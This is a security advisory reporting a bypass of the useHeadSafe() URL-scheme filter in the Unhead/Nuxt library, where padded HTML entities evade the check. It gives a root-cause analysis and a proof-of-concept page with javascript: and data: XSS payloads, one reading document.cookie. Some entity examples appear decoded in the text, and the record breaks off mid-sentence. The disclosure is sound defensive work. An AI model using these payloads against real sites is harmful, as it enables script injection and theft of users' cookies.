Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()
##EVIDENCE
| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |
| **Cross-reported here** | 2026-04-03 |
## Summary
`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends
for rendering user-supplied content in `` safely. Internally, the
`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes
HTML entities before checking for blocked URI schemes (`javascript:`, `data:`,
`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:
```js
// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g
```
The HTML5 specification imposes **no limit** on leading zeros in numeric character
references. Both of the following are valid, spec-compliant encodings of `:` (U+003A):
- `:` — 10 decimal digits, exceeds the `\d{1,7}` cap
- `:` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap
When a padded entity exceeds the regex digit cap, the decoder silently skips it. The
undecoded string is then passed to `startsWith('javascript:')`, which does not match.
`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML
parser decodes the padded entity natively and constructs the blocked URI.
> **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,
> which was an attribute *key* injection via the `data-*` prefix. This finding targets
> the attribute *value* decoder — a different code path with a different root cause and
> a different fix.
## Root Cause Analysis
### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)
```js
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max
```
### Why the bypass works
The HTML5 parser specification ([§ Numeric character reference end state][html5-spec])
states that leading zeros in numeric character references are valid and the number of
digits is unbounded. A conformant browser will decode `:` as `:` regardless
of the number of leading zeros.
Because the regex caps are lower than the digit counts an attacker can supply, the
entity match fails silently. The raw padded string (`java:script:alert(1)`)
is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,
and the value is rendered into SSR output verbatim. The browser then decodes the entity
and the blocked scheme is present in the live DOM.
## Steps to Reproduce
### Environment
- **Nuxt:** 4.x (current)
- **unhead:** 2.1.12 (current at time of report)
- **Node:** 20 LTS
- **Chrome:** 146+
### Step 1 — Create a fresh Nuxt 4 project
```bash
npx nuxi init poc
cd poc
npm install
```
### Step 2 — Replace `pages/index.vue`
```vue
useHeadSafe bypass PoC
View page source or run the curl command below.
import { useHeadSafe } from '#imports'
useHeadSafe({
link: [
// 10-digit decimal padding — exceeds \d{1,7} cap
{ rel: 'stylesheet', href: 'java:script:alert(1)' },
// 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
{ rel: 'icon', href: 'data:text/html,alert(document.cookie)' }
]
})
```
### Step 3 — Start the dev server and inspect SSR output
```bash
npm run dev
```
In a separate terminal:
```bash
curl -s http://localhost:3000 | grep '<link'
```
### Expected result (safe)
Tags stripped entirely, or schemes rewritten to safe placeholder values.
### Actual result (vulnerable)
```html
<link href="data:text/html,alert(document.cookie)" rel="icon">
```
Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`
blocklist — are present in server-rendered HTML. The browser decodes the padded entities
natively on load.
## Confirmed Execution Path (data: URI via iframe, Chrome 146+)
Immediate script execution fro
